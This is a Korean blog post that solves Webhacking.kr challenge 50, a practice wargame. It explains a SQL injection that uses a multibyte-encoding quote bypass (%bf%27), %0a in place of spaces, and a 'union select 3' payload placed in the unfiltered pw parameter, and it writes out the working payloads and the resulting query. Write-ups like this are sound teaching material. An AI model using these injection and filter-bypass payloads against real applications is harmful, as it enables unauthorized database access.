뉴비에욤

Webhacking.kr 50번 본문

Webhacking.kr

Webhacking.kr 50번

초보에욤 2015. 8. 16. 23:29

 

 

  GET id 변수에서 "mb_convert_encodin" 함수를 사용함 (인젝션 포인터)

  'from', 괄호, 비교구문,공백 등 필터링

  id 변수에 "union" 포함 시 종료

 

 

사용자가 입력한 id,pw를 기반으로 해당 유저 정보를 조회 함

조회된 값이 '3'일 경우 문제풀이 성공

 

 

 

* mb_convert_encoding 이용하여 문제 클리어

* 참고로 테이블에는 lv3 유저가 존재하지 않음

* LIKE 구문으로 테스트 가능 (%bf%27||lv%0alike%0a3)
* 기타 문자열 함수는 괄호 필터링으로 인해 사용 불가

* 따라서 '3' 이라는 데이터를 생성하기 위해 union 사용

 

 * 사용자가 입력한 패스워드는 md5 함수 인자로 사용

* 값 변조 불가 ( 모든 입력 값이 32바이트 16진수로 변환 됨 )

 

 * UNION 필터링은 id 변수에서만 이루어짐

* id 변수에서 쿼터 사용 (%bf%27)

* pw 변수에서 union select 3 사용

 

  * 공백 우회를 위해 %0a 사용

 

 

 |  변수  |                  입력                  |                        쿼리                        |

 ===========================================================================

      id                     %bf%27                             id='?'' and pw=md5('pw')

  => 기존 싱글 쿼터를 닫는 과정에서 and ~ md5( 까지 쿼리가

       문자열로 인식 됨

 

 ============================================================================

     pw          union%0aselect%0a3%23      id='?'' and pw=md5('union select 3#')

  => union select 쿼리를 삽입하여 '3' 데이터 생성

 

최종 쿼리 :  id='' ' and pw=md5(' union select 3

     id='' union select 3

 

 

 

'Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 52번  (0) 2015.08.16
Webhacking.kr 51번  (0) 2015.08.16
Webhacking.kr 49번  (0) 2015.08.16
Webhacking.kr 48번  (0) 2015.08.16
Webhacking.kr 47번  (0) 2015.08.16
Comments